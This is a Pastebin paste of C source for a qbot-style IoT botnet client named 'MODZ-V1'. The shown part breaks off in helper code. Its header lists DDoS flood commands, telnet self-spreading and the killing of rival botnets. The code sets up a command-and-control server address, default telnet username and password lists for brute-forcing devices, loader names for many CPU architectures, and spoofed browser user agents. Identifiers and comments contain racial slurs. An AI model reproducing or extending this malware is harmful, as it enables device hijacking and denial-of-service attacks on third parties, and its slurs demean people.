Advertisement
GodlyPacketz

[qbot] MODZ-V1 Client

Nov 16th, 2017
811
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 85.82 KB | None | 0 0
  1. /*
  2. ███╗   ███╗ ██████╗ ██████╗ ███████╗
  3. ████╗ ████║██╔═══██╗██╔══██╗╚══███╔╝
  4. ██╔████╔██║██║   ██║██║  ██║  ███╔╝
  5. ██║╚██╔╝██║██║   ██║██║  ██║ ███╔╝  
  6. ██║ ╚═╝ ██║╚██████╔╝██████╔╝███████╗
  7. ╚═╝     ╚═╝ ╚═════╝ ╚═════╝ ╚══════╝
  8.  
  9.  
  10. If you have this you are trusted. Please do not leak!
  11. MODZ client V1
  12.  
  13. Current Owner Count - 2
  14.    ____                                                       _      
  15.   / ___|   ___    _ __ ___    _ __ ___     __ _   _ __     __| |  ___
  16.  | |      / _ \  | '_ ` _ \  | '_ ` _ \   / _` | | '_ \   / _` | / __|
  17.  | |___  | (_) | | | | | | | | | | | | | | (_| | | | | | | (_| | \__ \
  18.   \____|  \___/  |_| |_| |_| |_| |_| |_|  \__,_| |_| |_|  \__,_| |___/
  19.  
  20. !* JUNK <IP> <PORT> <TIME>------------------JUNK FLOOD
  21.  
  22. !* HOLD <IP> <PORT> <TIME>------------------HOLD FLOOD
  23.  
  24. !* STD <IP> <PORT> <TIME>-------------------STD FLOOD
  25.  
  26. !* UDP <IP> <PORT <TIME> 32 1337 10---------RAW UDP FLOOD
  27.  
  28. !* TCP <IP> <PORT <TIME> 32 all 1337 10-----TCP FLOOD
  29.  
  30. !* HTTP <IP> <METHOD> <PORT> / <TIME> 1337--MULTI THREADED HTTP FLOOD
  31.  
  32. !* CNC <IP> <PORT> <TIME>-------------------CnC FLOOD
  33.  
  34. Otha Commandz
  35.  
  36. !* PING-----------------Pings Bot
  37.  
  38. !* TELSCAN ON | OFF-----TURNS ON TELNET SCANNA
  39.  
  40. !* UPDATE---------------REINFECTS DEVICE
  41.  
  42. !* NIGGERKILL-----------DEINFECTS OTHER BOTNETS
  43.  
  44. !* GETPUBLICIP----------GIVES PUBLIC IP ADDRESS
  45.  
  46. */
  47. #define PHI 0x9e3779b9
  48. #define PR_SET_NAME 15
  49. #define SERVER_LIST_SIZE (sizeof(TelnetNigger) / sizeof(unsigned char *))
  50. #define PAD_RIGHT 1
  51. #define PAD_ZERO 2
  52. #define PRINT_BUF_LEN 12
  53. #define CMD_IAC 255
  54. #define CMD_WILL 251
  55. #define CMD_WONT 252
  56. #define CMD_DO 253
  57. #define CMD_DONT 254
  58. #define OPT_SGA 3
  59. #define STD2_SIZE 420
  60. #define BUFFER_SIZE 1024
  61. #define VERSION "MODZ-V1"
  62.  
  63. // EchoLoader Shit
  64.  
  65. #define mips "8UsAm"
  66. #define mipsel "8UsAml"
  67. #define sh4 "8UsAsh"
  68. #define x86_64 "8UsA64"
  69. #define i586 "8UsA58"
  70. #define i686 "8UsA68"
  71. #define powerpc "8UsApc"
  72. #define m68k "8UsAk68"
  73. #define sparc "8UsAsc"
  74. #define armv4 "8UsA4"
  75. #define armv5 "8UsA5"
  76. #define armv6 "8UsA6"
  77. #define all "8UsA.sh"
  78.  
  79. // End of Echo
  80.  
  81. #include <stdlib.h>
  82. #include <stdarg.h>
  83. #include <stdio.h>
  84. #include <sys/socket.h>
  85. #include <sys/types.h>
  86. #include <netinet/in.h>
  87. #include <arpa/inet.h>
  88. #include <netdb.h>
  89. #include <signal.h>
  90. #include <strings.h>
  91. #include <string.h>
  92. #include <sys/utsname.h>
  93. #include <unistd.h>
  94. #include <fcntl.h>
  95. #include <errno.h>
  96. #include <netinet/ip.h>
  97. #include <netinet/udp.h>
  98. #include <netinet/tcp.h>
  99. #include <sys/wait.h>
  100. #include <sys/ioctl.h>
  101. #include <net/if.h>
  102.  
  103.  
  104.  
  105.  
  106. /*------------------------------------------------------------------------------------------------------------------------*/
  107.  
  108. /*
  109.  
  110. Change 127.0.0.1 to your vps ip!!!!!!
  111.  
  112. */
  113.  
  114. unsigned char *TelnetNigger[] =
  115. {
  116. "127.0.0.1"
  117. };
  118. int Server_Botport = 666;
  119.  
  120. /*
  121.  
  122. Heres The Telnet selfrep shit
  123.  
  124. Make sure you put your telnet payload below
  125.  
  126. */
  127.  
  128. char *infect = "\r\n";
  129. char *usernames[] = {"telnet\0", "root\0", "root\0", "admin\0", "root\0", "admin\0", "root\0", "admin\0"};
  130. char *passwords[] = {"telnet\0", "\0", "root\0", "admin\0", "1234\0", "root\0", "123456\0", "1234\0"};
  131. char* tmpdirs[] = {"/dev/netslink/", "/tmp/", "/var/", "/dev/", "/var/run/", "/dev/shm/", "/mnt/", "/boot/", "/usr/", (char*) 0};
  132. char* advances[] = {":", "ogin", "sername", "assword", (char*)0};
  133. char* fails[] = {"nvalid", "ailed", "ncorrect", "enied", "rror", "oodbye", "bad", (char*)0};
  134. char* successes[] = {"busybox", "$", "#", (char*)0};
  135. char* infected[] = {"peenis"};
  136. char *infectedmessage = "peenis";
  137. char* advances2[] = {"nvalid", "ailed", "ncorrect", "enied", "rror", "oodbye", "bad", "busybox", "$", "#", (char*)0};
  138. int oldranges[] = {1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100,101,102,103,104,105,106,107,108,109,110,111,112,113,114,115,116,117,118,119,120,121,122,123,124,125,126,127,128,129,130,131,132,133,134,135,136,137,138,139,140,141,142,143,144,145,146,147,148,149,150,151,152,153,154,155,156,157,158,159,160,161,162,163,164,165,166,167,168,169,170,171,172,173,174,175,176,177,178,179,180,181,182,183,184,185,186,187,188,189,190,191,192,193,194,195,196,197,198,199,200,201,202,203,204,205,206,207,208,209,210,211,212,213,214,215,216,217,218,219,220,221,222,223,224,225,226,227,228,229,230,231,232,233,234,235,236,237,238,239,240,241,242,243,244,245,246,247,248,249,250,251,252,253,254,255};
  139. int oldranges2[] = {1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100,101,102,103,104,105,106,107,108,109,110,111,112,113,114,115,116,117,118,119,120,121,122,123,124,125,126,127,128,129,130,131,132,133,134,135,136,137,138,139,140,141,142,143,144,145,146,147,148,149,150,151,152,153,154,155,156,157,158,159,160,161,162,163,164,165,166,167,168,169,170,171,172,173,174,175,176,177,178,179,180,181,182,183,184,185,186,187,188,189,190,191,192,193,194,195,196,197,198,199,200,201,202,203,204,205,206,207,208,209,210,211,212,213,214,215,216,217,218,219,220,221,222,223,224,225,226,227,228,229,230,231,232,233,234,235,236,237,238,239,240,241,242,243,244,245,246,247,248,249,250,251,252,253,254,255};
  140. int rangesA[] = {1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100,101,102,103,104,105,106,107,108,109,110,111,112,113,114,115,116,117,118,119,120,121,122,123,124,125,126,127,128,129,130,131,132,133,134,135,136,137,138,139,140,141,142,143,144,145,146,147,148,149,150,151,152,153,154,155,156,157,158,159,160,161,162,163,164,165,166,167,168,169,170,171,172,173,174,175,176,177,178,179,180,181,182,183,184,185,186,187,188,189,190,191,192,193,194,195,196,197,198,199,200,201,202,203,204,205,206,207,208,209,210,211,212,213,214,215,216,217,218,219,220,221,222,223,224,225,226,227,228,229,230,231,232,233,234,235,236,237,238,239,240,241,242,243,244,245,246,247,248,249,250,251,252,253,254,255};
  141. int rangesB1[] = {1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100,101,102,103,104,105,106,107,108,109,110,111,112,113,114,115,116,117,118,119,120,121,122,123,124,125,126,127,128,129,130,131,132,133,134,135,136,137,138,139,140,141,142,143,144,145,146,147,148,149,150,151,152,153,154,155,156,157,158,159,160,161,162,163,164,165,166,167,168,169,170,171,172,173,174,175,176,177,178,179,180,181,182,183,184,185,186,187,188,189,190,191,192,193,194,195,196,197,198,199,200,201,202,203,204,205,206,207,208,209,210,211,212,213,214,215,216,217,218,219,220,221,222,223,224,225,226,227,228,229,230,231,232,233,234,235,236,237,238,239,240,241,242,243,244,245,246,247,248,249,250,251,252,253,254,255};
  142. int rangesB2[] = {1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100,101,102,103,104,105,106,107,108,109,110,111,112,113,114,115,116,117,118,119,120,121,122,123,124,125,126,127,128,129,130,131,132,133,134,135,136,137,138,139,140,141,142,143,144,145,146,147,148,149,150,151,152,153,154,155,156,157,158,159,160,161,162,163,164,165,166,167,168,169,170,171,172,173,174,175,176,177,178,179,180,181,182,183,184,185,186,187,188,189,190,191,192,193,194,195,196,197,198,199,200,201,202,203,204,205,206,207,208,209,210,211,212,213,214,215,216,217,218,219,220,221,222,223,224,225,226,227,228,229,230,231,232,233,234,235,236,237,238,239,240,241,242,243,244,245,246,247,248,249,250,251,252,253,254,255};
  143. int rangesC1[] = {1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100,101,102,103,104,105,106,107,108,109,110,111,112,113,114,115,116,117,118,119,120,121,122,123,124,125,126,127,128,129,130,131,132,133,134,135,136,137,138,139,140,141,142,143,144,145,146,147,148,149,150,151,152,153,154,155,156,157,158,159,160,161,162,163,164,165,166,167,168,169,170,171,172,173,174,175,176,177,178,179,180,181,182,183,184,185,186,187,188,189,190,191,192,193,194,195,196,197,198,199,200,201,202,203,204,205,206,207,208,209,210,211,212,213,214,215,216,217,218,219,220,221,222,223,224,225,226,227,228,229,230,231,232,233,234,235,236,237,238,239,240,241,242,243,244,245,246,247,248,249,250,251,252,253,254,255};
  144. int rangesC2[] = {1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100,101,102,103,104,105,106,107,108,109,110,111,112,113,114,115,116,117,118,119,120,121,122,123,124,125,126,127,128,129,130,131,132,133,134,135,136,137,138,139,140,141,142,143,144,145,146,147,148,149,150,151,152,153,154,155,156,157,158,159,160,161,162,163,164,165,166,167,168,169,170,171,172,173,174,175,176,177,178,179,180,181,182,183,184,185,186,187,188,189,190,191,192,193,194,195,196,197,198,199,200,201,202,203,204,205,206,207,208,209,210,211,212,213,214,215,216,217,218,219,220,221,222,223,224,225,226,227,228,229,230,231,232,233,234,235,236,237,238,239,240,241,242,243,244,245,246,247,248,249,250,251,252,253,254,255};
  145. int rangesC3[] = {1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100,101,102,103,104,105,106,107,108,109,110,111,112,113,114,115,116,117,118,119,120,121,122,123,124,125,126,127,128,129,130,131,132,133,134,135,136,137,138,139,140,141,142,143,144,145,146,147,148,149,150,151,152,153,154,155,156,157,158,159,160,161,162,163,164,165,166,167,168,169,170,171,172,173,174,175,176,177,178,179,180,181,182,183,184,185,186,187,188,189,190,191,192,193,194,195,196,197,198,199,200,201,202,203,204,205,206,207,208,209,210,211,212,213,214,215,216,217,218,219,220,221,222,223,224,225,226,227,228,229,230,231,232,233,234,235,236,237,238,239,240,241,242,243,244,245,246,247,248,249,250,251,252,253,254,255};
  146.  
  147. /*------------------------------------------------------------------------------------------------------------------------*/
  148.  
  149.  
  150. const char *bots[] = {
  151. "Dope*",
  152. "mips",
  153. "mipsel",
  154. "x86",
  155. "sh4",
  156. "i686",
  157. "ppc",
  158. "i586",
  159. "i586",
  160. "jack*",
  161. "hack*",
  162. "arm*",
  163. "tel*",
  164. "b1",
  165. "b2",
  166. "b3",
  167. "b4",
  168. "b5",
  169. "b6",
  170. "b7",
  171. "b8",
  172. "b9",
  173. "lol*",
  174. "busybox*",
  175. "badbox*",
  176. "DFhxdhdf",
  177. "dvrHelper",
  178. "FDFDHFC",
  179. "FEUB",
  180. "FTUdftui",
  181. "GHfjfgvj",
  182. "jhUOH",
  183. "JIPJIPJj",
  184. "JIPJuipjh",
  185. "kmyx86_64",
  186. "lolmipsel",
  187. "mips",
  188. "mipsel",
  189. "RYrydry",
  190. "TwoFace*",
  191. "UYyuyioy",
  192. "wget",
  193. "x86_64",
  194. "XDzdfxzf",
  195. "xx*",
  196. "sh",
  197. "1",
  198. "2",
  199. "3",
  200. "4",
  201. "5",
  202. "6",
  203. "7",
  204. "8",
  205. "9",
  206. "10",
  207. "11",
  208. "12",
  209. "13",
  210. "14",
  211. "15",
  212. "16",
  213. "17",
  214. "18",
  215. "19",
  216. "20",
  217. "busybox",
  218. "badbox",
  219. "Mirai*",
  220. "mirai*",
  221. "cunty*",
  222. "IoT*",
  223. "mips",
  224. "mipsel",
  225. "sh4",
  226. "x86",
  227. "i686",
  228. "ppc",
  229. "i586",
  230. "i586",
  231. "jackmy*",
  232. "hackmy*",
  233. "arm*",
  234. "b1",
  235. "b2",
  236. "b3",
  237. "b4",
  238. "b5",
  239. "b6",
  240. "b7",
  241. "b8",
  242. "b9",
  243. "busyboxterrorist",
  244. "DFhxdhdf",
  245. "dvrHelper",
  246. "FDFDHFC",
  247. "FEUB",
  248. "FTUdftui",
  249. "GHfjfgvj",
  250. "jhUOH",
  251. "JIPJIPJj",
  252. "JIPJuipjh",
  253. "kmyx86_64",
  254. "lolmipsel",
  255. "mips",
  256. "mipsel",
  257. "RYrydry",
  258. "tel*",
  259. "TwoFace*",
  260. "UYyuyioy",
  261. "wget",
  262. "x86_64",
  263. "XDzdfxzf",
  264. "xxb*",
  265. "sh",
  266. "hackz",
  267. "bin*",
  268. "gtop",
  269. "tftp*",
  270. "botnet",
  271. "swatnet",
  272. "ballpit",
  273. "fucknet",
  274. "cracknet",
  275. "weednet",
  276. "gaynet",
  277. "queernet",
  278. "ballnet",
  279. "unet",
  280. "yougay",
  281. "sttftp",
  282. "sstftp",
  283. "sbtftp",
  284. "btftp",
  285. "y0u1sg3y",
  286. "bruv*",
  287. "IoT*",
  288. "love*",
  289. "kmy*",
  290. "pl0x*",
  291. "kittyphones",
  292. "ftp",
  293. "pftp",
  294. " ",
  295. "httpd",
  296. "telnetd"
  297. };
  298. const char *useragents[] = {
  299. "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.86 Safari/537.36",
  300. "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36",
  301. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13) AppleWebKit/604.1.38 (KHTML, like Gecko) Version/11.0 Safari/604.1.38",
  302. "Mozilla/5.0 (iPhone; CPU iPhone OS 7_0 like Mac OS X) AppleWebKit/537.51.1 (KHTML, like Gecko) Version/7.0 Mobile/11A465 Safari/9537.53",
  303. "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0",
  304. "Mozilla/5.0 (X11; CrOS x86_64 9592.96.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.114 Safari/537.36",
  305. "Mozilla/5.0 (Linux; Android 7.0; SAMSUNG SM-G930W8 Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/5.4 Chrome/51.0.2704.106 Mobile Safari/537.36",
  306. "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36",
  307. "Mozilla/5.0 (Windows Phone 10.0; Android 6.0.1; Microsoft; Lumia 535) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.79 Mobile Safari/537.36 Edge/14.14393",
  308. "Mozilla/5.0 (Linux; Android 4.4.4; HTC Desire 620 Build/KTU84P) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/33.0.0.0 Mobile Safari/537.36",
  309. "Mozilla/5.0 (iPhone; CPU iPhone OS 10_2_1 like Mac OS X) AppleWebKit/602.4.6 (KHTML, like Gecko) Mobile/14D27",
  310. "Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36",
  311. "Mozilla/5.0 (Linux; Android 5.0; HUAWEI GRA-L09 Build/HUAWEIGRA-L09) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/37.0.0.0 Mobile Safari/537.36",
  312. "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36",
  313. "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36",
  314. "Mozilla/5.0(iPad; U; CPU iPhone OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B314 Safari/531.21.10gin_lib.cc",
  315. "Mozilla/5.0 Galeon/1.2.9 (X11; Linux i686; U;) Gecko/20021213 Debian/1.2.9-0.bunk",
  316. "Mozilla/5.0 Slackware/13.37 (X11; U; Linux x86_64; en-US) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.41",
  317. "Mozilla/5.0 (compatible; iCab 3.0.3; Macintosh; U; PPC Mac OS)",
  318. "Opera/9.80 (J2ME/MIDP; Opera Mini/5.0 (Windows; U; Windows NT 5.1; en) AppleWebKit/886; U; en) Presto/2.4.15"
  319. "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0",
  320. "Mozilla/5.0 (X11; U; Linux ppc; en-US; rv:1.9a8) Gecko/2007100620 GranParadiso/3.1",
  321. "Mozilla/5.0 (compatible; U; ABrowse 0.6; Syllable) AppleWebKit/420+ (KHTML, like Gecko)",
  322. "Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en; rv:1.8.1.11) Gecko/20071128 Camino/1.5.4",
  323. "Mozilla/5.0 (Windows; U; Windows NT 6.1; rv:2.2) Gecko/20110201",
  324. "Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9.0.6) Gecko/2009020911",
  325. "Mozilla/5.0 (Windows; U; Windows NT 6.1; cs; rv:1.9.2.6) Gecko/20100628 myibrow/4alpha2",
  326. "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; MyIE2; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0)",
  327. "Mozilla/5.0 (Windows; U; Win 9x 4.90; SG; rv:1.9.2.4) Gecko/20101104 Netscape/9.1.0285",
  328. "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.8) Gecko/20090327 Galeon/2.0.7",
  329. "Mozilla/5.0 (PLAYSTATION 3; 3.55)",
  330. "Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101 Thunderbird/38.2.0 Lightning/4.0.2",
  331. "Mozilla/5.0 (Windows NT 6.1; WOW64) SkypeUriPreview Preview/0.5"
  332. };
  333. int initConnection();
  334. int getBogos(unsigned char *bogomips);
  335. int getCores();
  336. int getCountry(unsigned char *buf, int bufsize);
  337. void makeRandomStr(unsigned char *buf, int length);
  338. int sockprintf(int sock, char *formatStr, ...);
  339. char *inet_ntoa(struct in_addr in);
  340. int mainCommSock = 0, currentServer = -1, gotIP = 0;
  341. uint32_t *pids;
  342. int rangechoice = 1;
  343. int hacked = 0;
  344. uint32_t scanPid;
  345. uint64_t numpids = 0;
  346. struct in_addr ourIP;
  347. struct in_addr ourPublicIP;
  348. unsigned char macAddress[6] = {0};
  349. static uint32_t Q[4096], c = 362436;
  350. void init_rand(uint32_t x)
  351. {
  352. int i;
  353. Q[0] = x;
  354. Q[1] = x + PHI;
  355. Q[2] = x + PHI + PHI;
  356. for (i = 3; i < 4096; i++) Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i;
  357. }
  358. uint32_t rand_cmwc(void)
  359. {
  360. uint64_t t, a = 18782LL;
  361. static uint32_t i = 4095;
  362. uint32_t x, r = 0xfffffffe;
  363. i = (i + 1) & 4095;
  364. t = a * Q[i] + c;
  365. c = (uint32_t)(t >> 32);
  366. x = t + c;
  367. if (x < c) {
  368. x++;
  369. c++;
  370. }
  371. return (Q[i] = r - x);
  372. }
  373. void trim(char *str)
  374. {
  375. int i;
  376. int begin = 0;
  377. int end = strlen(str) - 1;
  378. while (isspace(str[begin])) begin++;
  379. while ((end >= begin) && isspace(str[end])) end--;
  380. for (i = begin; i <= end; i++) str[i - begin] = str[i];
  381. str[i - begin] = '\0';
  382. }
  383. static void printchar(unsigned char **str, int c)
  384. {
  385. if (str) {
  386. **str = c;
  387. ++(*str);
  388. }
  389. else (void)write(1, &c, 1);
  390. }
  391. static int prints(unsigned char **out, const unsigned char *string, int width, int pad)
  392. {
  393. register int pc = 0, padchar = ' ';
  394. if (width > 0) {
  395. register int len = 0;
  396. register const unsigned char *ptr;
  397. for (ptr = string; *ptr; ++ptr) ++len;
  398. if (len >= width) width = 0;
  399. else width -= len;
  400. if (pad & PAD_ZERO) padchar = '0';
  401. }
  402. if (!(pad & PAD_RIGHT)) {
  403. for ( ; width > 0; --width) {
  404. printchar (out, padchar);
  405. ++pc;
  406. }
  407. }
  408. for ( ; *string ; ++string) {
  409. printchar (out, *string);
  410. ++pc;
  411. }
  412. for ( ; width > 0; --width) {
  413. printchar (out, padchar);
  414. ++pc;
  415. }
  416.  
  417. return pc;
  418. }
  419.  
  420. static int printi(unsigned char **out, int i, int b, int sg, int width, int pad, int letbase)
  421. {
  422. unsigned char print_buf[PRINT_BUF_LEN];
  423. register unsigned char *s;
  424. register int t, neg = 0, pc = 0;
  425. register unsigned int u = i;
  426.  
  427. if (i == 0) {
  428. print_buf[0] = '0';
  429. print_buf[1] = '\0';
  430. return prints (out, print_buf, width, pad);
  431. }
  432.  
  433. if (sg && b == 10 && i < 0) {
  434. neg = 1;
  435. u = -i;
  436. }
  437.  
  438. s = print_buf + PRINT_BUF_LEN-1;
  439. *s = '\0';
  440.  
  441. while (u) {
  442. t = u % b;
  443. if( t >= 10 )
  444. t += letbase - '0' - 10;
  445. *--s = t + '0';
  446. u /= b;
  447. }
  448.  
  449. if (neg) {
  450. if( width && (pad & PAD_ZERO) ) {
  451. printchar (out, '-');
  452. ++pc;
  453. --width;
  454. }
  455. else {
  456. *--s = '-';
  457. }
  458. }
  459.  
  460. return pc + prints (out, s, width, pad);
  461. }
  462.  
  463. static int print(unsigned char **out, const unsigned char *format, va_list args )
  464. {
  465. register int width, pad;
  466. register int pc = 0;
  467. unsigned char scr[2];
  468.  
  469. for (; *format != 0; ++format) {
  470. if (*format == '%') {
  471. ++format;
  472. width = pad = 0;
  473. if (*format == '\0') break;
  474. if (*format == '%') goto out;
  475. if (*format == '-') {
  476. ++format;
  477. pad = PAD_RIGHT;
  478. }
  479. while (*format == '0') {
  480. ++format;
  481. pad |= PAD_ZERO;
  482. }
  483. for ( ; *format >= '0' && *format <= '9'; ++format) {
  484. width *= 10;
  485. width += *format - '0';
  486. }
  487. if( *format == 's' ) {
  488. register char *s = (char *)va_arg( args, int );
  489. pc += prints (out, s?s:"(null)", width, pad);
  490. continue;
  491. }
  492. if( *format == 'd' ) {
  493. pc += printi (out, va_arg( args, int ), 10, 1, width, pad, 'a');
  494. continue;
  495. }
  496. if( *format == 'x' ) {
  497. pc += printi (out, va_arg( args, int ), 16, 0, width, pad, 'a');
  498. continue;
  499. }
  500. if( *format == 'X' ) {
  501. pc += printi (out, va_arg( args, int ), 16, 0, width, pad, 'A');
  502. continue;
  503. }
  504. if( *format == 'u' ) {
  505. pc += printi (out, va_arg( args, int ), 10, 0, width, pad, 'a');
  506. continue;
  507. }
  508. if( *format == 'c' ) {
  509. scr[0] = (unsigned char)va_arg( args, int );
  510. scr[1] = '\0';
  511. pc += prints (out, scr, width, pad);
  512. continue;
  513. }
  514. }
  515. else {
  516. out:
  517. printchar (out, *format);
  518. ++pc;
  519. }
  520. }
  521. if (out) **out = '\0';
  522. va_end( args );
  523. return pc;
  524. }
  525.  
  526. int zprintf(const unsigned char *format, ...)
  527. {
  528. va_list args;
  529. va_start( args, format );
  530. return print( 0, format, args );
  531. }
  532.  
  533. int szprintf(unsigned char *out, const unsigned char *format, ...)
  534. {
  535. va_list args;
  536. va_start( args, format );
  537. return print( &out, format, args );
  538. }
  539.  
  540.  
  541. int sockprintf(int sock, char *formatStr, ...)
  542. {
  543. unsigned char *textBuffer = malloc(2048);
  544. memset(textBuffer, 0, 2048);
  545. char *orig = textBuffer;
  546. va_list args;
  547. va_start(args, formatStr);
  548. print(&textBuffer, formatStr, args);
  549. va_end(args);
  550. orig[strlen(orig)] = '\n';
  551. int q = send(sock,orig,strlen(orig), MSG_NOSIGNAL);
  552. free(orig);
  553. return q;
  554. }
  555.  
  556. static int *fdopen_pids;
  557.  
  558. int fdpopen(unsigned char *program, register unsigned char *type)
  559. {
  560. register int iop;
  561. int pdes[2], fds, pid;
  562.  
  563. if (*type != 'r' && *type != 'w' || type[1]) return -1;
  564.  
  565. if (pipe(pdes) < 0) return -1;
  566. if (fdopen_pids == NULL) {
  567. if ((fds = getdtablesize()) <= 0) return -1;
  568. if ((fdopen_pids = (int *)malloc((unsigned int)(fds * sizeof(int)))) == NULL) return -1;
  569. memset((unsigned char *)fdopen_pids, 0, fds * sizeof(int));
  570. }
  571.  
  572. switch (pid = vfork())
  573. {
  574. case -1:
  575. close(pdes[0]);
  576. close(pdes[1]);
  577. return -1;
  578. case 0:
  579. if (*type == 'r') {
  580. if (pdes[1] != 1) {
  581. dup2(pdes[1], 1);
  582. close(pdes[1]);
  583. }
  584. close(pdes[0]);
  585. } else {
  586. if (pdes[0] != 0) {
  587. (void) dup2(pdes[0], 0);
  588. (void) close(pdes[0]);
  589. }
  590. (void) close(pdes[1]);
  591. }
  592. execl("/bin/sh", "sh", "-c", program, NULL);
  593. _exit(127);
  594. }
  595. if (*type == 'r') {
  596. iop = pdes[0];
  597. (void) close(pdes[1]);
  598. } else {
  599. iop = pdes[1];
  600. (void) close(pdes[0]);
  601. }
  602. fdopen_pids[iop] = pid;
  603. return (iop);
  604. }
  605.  
  606. int fdpclose(int iop)
  607. {
  608. register int fdes;
  609. sigset_t omask, nmask;
  610. int pstat;
  611. register int pid;
  612.  
  613. if (fdopen_pids == NULL || fdopen_pids[iop] == 0) return (-1);
  614. (void) close(iop);
  615. sigemptyset(&nmask);
  616. sigaddset(&nmask, SIGINT);
  617. sigaddset(&nmask, SIGQUIT);
  618. sigaddset(&nmask, SIGHUP);
  619. (void) sigprocmask(SIG_BLOCK, &nmask, &omask);
  620. do {
  621. pid = waitpid(fdopen_pids[iop], (int *) &pstat, 0);
  622. } while (pid == -1 && errno == EINTR);
  623. (void) sigprocmask(SIG_SETMASK, &omask, NULL);
  624. fdopen_pids[fdes] = 0;
  625. return (pid == -1 ? -1 : WEXITSTATUS(pstat));
  626. }
  627.  
  628. unsigned char *fdgets(unsigned char *buffer, int bufferSize, int fd)
  629. {
  630. int got = 1, total = 0;
  631. while(got == 1 && total < bufferSize && *(buffer + total - 1) != '\n') { got = read(fd, buffer + total, 1); total++; }
  632. return got == 0 ? NULL : buffer;
  633. }
  634.  
  635. static const long hextable[] = {
  636. [0 ... 255] = -1,
  637. ['0'] = 0, 1, 2, 3, 4, 5, 6, 7, 8, 9,
  638. ['A'] = 10, 11, 12, 13, 14, 15,
  639. ['a'] = 10, 11, 12, 13, 14, 15
